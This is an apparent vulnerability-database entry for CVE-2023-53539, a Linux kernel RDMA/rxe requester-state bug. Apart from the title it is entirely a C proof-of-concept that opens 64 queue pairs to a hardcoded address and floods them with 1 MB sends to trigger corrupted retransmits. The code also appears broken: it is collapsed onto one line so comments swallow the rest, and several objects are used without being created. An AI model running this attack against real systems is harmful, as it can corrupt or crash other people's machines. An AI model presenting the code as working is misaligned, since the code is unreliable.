CVE-2023-53539 Linux内核RDMA/rxe请求者状态保存不完整漏洞

// CVE-2023-53539 PoC - Trigger corrupted retransmit in RDMA/rxe // This PoC demonstrates how to trigger the vulnerability by creating // multiple QPs and sending large messages to stress the rxe_requester #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <rdma/rdma_cma.h> #include <rdma/rdma_verbs.h> #include <infiniband/verbs.h> #define NUM_QPS 64 #define MSG_SIZE (1024 * 1024) // 1MB large messages #define SERVER_ADDR "192.168.1.100" #define PORT 4791 struct rdma_resources { struct rdma_cm_id *cm_id; struct ibv_pd *pd; struct ibv_cq *cq; struct ibv_qp *qp; struct ibv_mr *mr; void *buf; }; // Setup RDMA connection static int setup_qp(struct rdma_resources *res) { struct rdma_cm_event *event; struct rdma_conn_param conn_param = {}; // Create event channel struct rdma_event_channel *ec = rdma_create_event_channel(); if (!ec) return -1; // Resolve address struct addrinfo *addr; getaddrinfo(SERVER_ADDR, NULL, NULL, &addr); struct sockaddr_in *sin = (struct sockaddr_in *)addr->ai_addr; sin->sin_port = htons(PORT); rdma_resolve_addr(res->cm_id, NULL, (struct sockaddr *)sin, 2000); rdma_get_cm_event(ec, &event); rdma_ack_cm_event(event); // Create QP struct ibv_qp_init_attr qp_attr = {}; qp_attr.qp_type = IBV_QPT_RC; qp_attr.send_cq = res->cq; qp_attr.recv_cq = res->cq; qp_attr.cap.max_send_wr = 10; qp_attr.cap.max_recv_wr = 10; qp_attr.cap.max_send_sge = 1; qp_attr.cap.max_recv_sge = 1; rdma_create_qp(res->cm_id, res->pd, &qp_attr); res->qp = res->cm_id->qp; // Register memory region res->buf = malloc(MSG_SIZE); memset(res->buf, 'A', MSG_SIZE); res->mr = rdma_reg_msgs(res->cm_id, res->buf, MSG_SIZE); return 0; } // Send large message to trigger packet drop and retransmit static void stress_send(struct rdma_resources *res) { struct ibv_sge sge; struct ibv_send_wr wr, *bad_wr; sge.addr = (uint64_t)res->buf; sge.length = MSG_SIZE; sge.lkey = res->mr->lkey; wr.sg_list = &sge; wr.num_sge = 1; wr.opcode = IBV_WR_SEND; wr.send_flags = IBV_SEND_SIGNALED; wr.next = NULL; // Send large message - may trigger IP layer drop ibv_post_send(res->qp, &wr, &bad_wr); } int main(int argc, char **argv) { struct rdma_resources res[NUM_QPS]; printf("CVE-2023-53539 PoC - RDMA/rxe state corruption\n"); printf("Creating %d QPs and sending large messages...\n", NUM_QPS); // Setup multiple QPs to stress the rxe_requester for (int i = 0; i < NUM_QPS; i++) { if (setup_qp(&res[i]) < 0) { fprintf(stderr, "Failed to setup QP %d\n", i); continue; } // Send large messages concurrently stress_send(&res[i]); } printf("Stress test initiated. Check for corrupted retransmits.\n"); sleep(30); return 0; }